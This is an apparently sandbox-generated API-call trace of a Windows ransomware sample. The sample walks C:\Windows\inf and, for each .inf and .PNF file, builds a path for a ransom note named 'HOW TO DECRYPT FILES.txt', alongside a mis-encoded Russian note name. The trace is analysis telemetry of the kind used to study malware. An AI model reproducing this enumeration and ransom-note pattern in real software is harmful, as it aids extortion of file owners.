lpString2="prnbr009.inf") returned -1 [0130.460] lstrcmpiA (lpString1="", lpString2="prnbr009.inf") returned -1 [0130.460] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr008.PNF") returned="prnbr008.PNF" [0130.460] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.460] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.460] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.460] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.460] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr009.inf" | out: lpString1="C:\\Windows\\inf\\prnbr009.inf") returned="C:\\Windows\\inf\\prnbr009.inf" [0130.460] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb44dfa, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8eb44dfa, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8eb44dfa, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x23c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr009.PNF", cAlternateFileName="")) returned 1 [0130.460] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.461] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr009.PNF") returned -1 [0130.461] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr009.PNF") returned -1 [0130.461] lstrcmpiA (lpString1="", lpString2="prnbr009.PNF") returned -1 [0130.461] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr009.inf") returned="prnbr009.inf" [0130.461] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.461] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.461] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.461] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.461] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr009.PNF" | out: lpString1="C:\\Windows\\inf\\prnbr009.PNF") returned="C:\\Windows\\inf\\prnbr009.PNF" [0130.462] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5c508d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c5c508d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c5c508d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xe5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr00a.inf", cAlternateFileName="")) returned 1 [0130.462] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.462] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr00a.inf") returned -1 [0130.462] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr00a.inf") returned -1 [0130.462] lstrcmpiA (lpString1="", lpString2="prnbr00a.inf") returned -1 [0130.462] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr009.PNF") returned="prnbr009.PNF" [0130.462] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.462] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.462] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.462] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.463] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr00a.inf" | out: lpString1="C:\\Windows\\inf\\prnbr00a.inf") returned="C:\\Windows\\inf\\prnbr00a.inf" [0130.463] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9142e865, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x9142e865, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x9142e865, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr00a.PNF", cAlternateFileName="")) returned 1 [0130.463] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.463] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr00a.PNF") returned -1 [0130.463] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr00a.PNF") returned -1 [0130.463] lstrcmpiA (lpString1="", lpString2="prnbr00a.PNF") returned -1 [0130.463] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr00a.inf") returned="prnbr00a.inf" [0130.464] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.464] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.464] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.464] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.464] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr00a.PNF" | out: lpString1="C:\\Windows\\inf\\prnbr00a.PNF") returned="C:\\Windows\\inf\\prnbr00a.PNF" [0130.464] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5eb1ee, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c5eb1ee, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c5eb1ee, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x320c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca003.inf", cAlternateFileName="")) returned 1 [0130.464] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.464] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca003.inf") returned -1 [0130.464] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca003.inf") returned -1 [0130.464] lstrcmpiA (lpString1="", lpString2="prnca003.inf") returned -1 [0130.465] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr00a.PNF") returned="prnbr00a.PNF" [0130.465] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.465] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.465] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.465] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.465] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca003.inf" | out: lpString1="C:\\Windows\\inf\\prnca003.inf") returned="C:\\Windows\\inf\\prnca003.inf" [0130.465] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cf269e6, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8cf269e6, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8cf269e6, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x46e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca003.PNF", cAlternateFileName="")) returned 1 [0130.465] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.465] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca003.PNF") returned -1 [0130.466] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca003.PNF") returned -1 [0130.466] lstrcmpiA (lpString1="", lpString2="prnca003.PNF") returned -1 [0130.466] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca003.inf") returned="prnca003.inf" [0130.466] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.466] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.466] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.466] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.466] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca003.PNF" | out: lpString1="C:\\Windows\\inf\\prnca003.PNF") returned="C:\\Windows\\inf\\prnca003.PNF" [0130.467] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5eb1ee, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c5eb1ee, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c5eb1ee, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x40cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00a.inf", cAlternateFileName="")) returned 1 [0130.467] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.467] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00a.inf") returned -1 [0130.467] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00a.inf") returned -1 [0130.467] lstrcmpiA (lpString1="", lpString2="prnca00a.inf") returned -1 [0130.467] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca003.PNF") returned="prnca003.PNF" [0130.467] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.467] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.467] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.467] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.467] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00a.inf" | out: lpString1="C:\\Windows\\inf\\prnca00a.inf") returned="C:\\Windows\\inf\\prnca00a.inf" [0130.468] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90384e47, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x90384e47, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x90384e47, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4020, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00a.PNF", cAlternateFileName="")) returned 1 [0130.468] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.468] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00a.PNF") returned -1 [0130.468] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00a.PNF") returned -1 [0130.468] lstrcmpiA (lpString1="", lpString2="prnca00a.PNF") returned -1 [0130.468] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00a.inf") returned="prnca00a.inf" [0130.468] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.468] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.468] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.468] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.469] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00a.PNF" | out: lpString1="C:\\Windows\\inf\\prnca00a.PNF") returned="C:\\Windows\\inf\\prnca00a.PNF" [0130.469] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c61134e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c61134e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c61134e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x50b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00b.inf", cAlternateFileName="")) returned 1 [0130.469] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.469] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00b.inf") returned -1 [0130.469] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00b.inf") returned -1 [0130.469] lstrcmpiA (lpString1="", lpString2="prnca00b.inf") returned -1 [0130.469] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00a.PNF") returned="prnca00a.PNF" [0130.469] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.469] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.469] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.470] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.470] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00b.inf" | out: lpString1="C:\\Windows\\inf\\prnca00b.inf") returned="C:\\Windows\\inf\\prnca00b.inf" [0130.470] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903d1107, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x903d1107, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x903d1107, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x55c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00b.PNF", cAlternateFileName="")) returned 1 [0130.472] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.472] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00b.PNF") returned -1 [0130.472] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00b.PNF") returned -1 [0130.472] lstrcmpiA (lpString1="", lpString2="prnca00b.PNF") returned -1 [0130.472] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00b.inf") returned="prnca00b.inf" [0130.472] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.472] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.472] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.473] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.473] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00b.PNF" | out: lpString1="C:\\Windows\\inf\\prnca00b.PNF") returned="C:\\Windows\\inf\\prnca00b.PNF" [0130.473] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c6374ae, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c6374ae, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c6374ae, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x4fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00c.inf", cAlternateFileName="")) returned 1 [0130.473] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.473] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00c.inf") returned -1 [0130.473] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00c.inf") returned -1 [0130.473] lstrcmpiA (lpString1="", lpString2="prnca00c.inf") returned -1 [0130.473] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00b.PNF") returned="prnca00b.PNF" [0130.473] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.473] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.474] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.474] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.474] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00c.inf" | out: lpString1="C:\\Windows\\inf\\prnca00c.inf") returned="C:\\Windows\\inf\\prnca00c.inf" [0130.474] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906f0ded, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x906f0ded, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x906f0ded, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x497c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00c.PNF", cAlternateFileName="")) returned 1 [0130.474] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.474] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00c.PNF") returned -1 [0130.474] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00c.PNF") returned -1 [0130.474] lstrcmpiA (lpString1="", lpString2="prnca00c.PNF") returned -1 [0130.474] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00c.inf") returned="prnca00c.inf" [0130.474] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.474] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.475] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.475] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.475] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00c.PNF" | out: lpString1="C:\\Windows\\inf\\prnca00c.PNF") returned="C:\\Windows\\inf\\prnca00c.PNF" [0130.475] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c65d60e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c65d60e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c65d60e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x521e, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00d.inf", cAlternateFileName="")) returned 1 [0130.475] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.475] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00d.inf") returned -1 [0130.475] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00d.inf") returned -1 [0130.475] lstrcmpiA (lpString1="", lpString2="prnca00d.inf") returned -1 [0130.475] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00c.PNF") returned="prnca00c.PNF" [0130.475] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.476] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.476] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.476] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.476] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00d.inf" | out: lpString1="C:\\Windows\\inf\\prnca00d.inf") returned="C:\\Windows\\inf\\prnca00d.inf" [0130.476] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907af4ce, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x907af4ce, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x907af4ce, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4dc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00d.PNF", cAlternateFileName="")) returned 1 [0130.476] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.476] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00d.PNF") returned -1 [0130.476] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00d.PNF") returned -1 [0130.476] lstrcmpiA (lpString1="", lpString2="prnca00d.PNF") returned -1 [0130.476] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00d.inf") returned="prnca00d.inf" [0130.477] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.477] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.477] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: 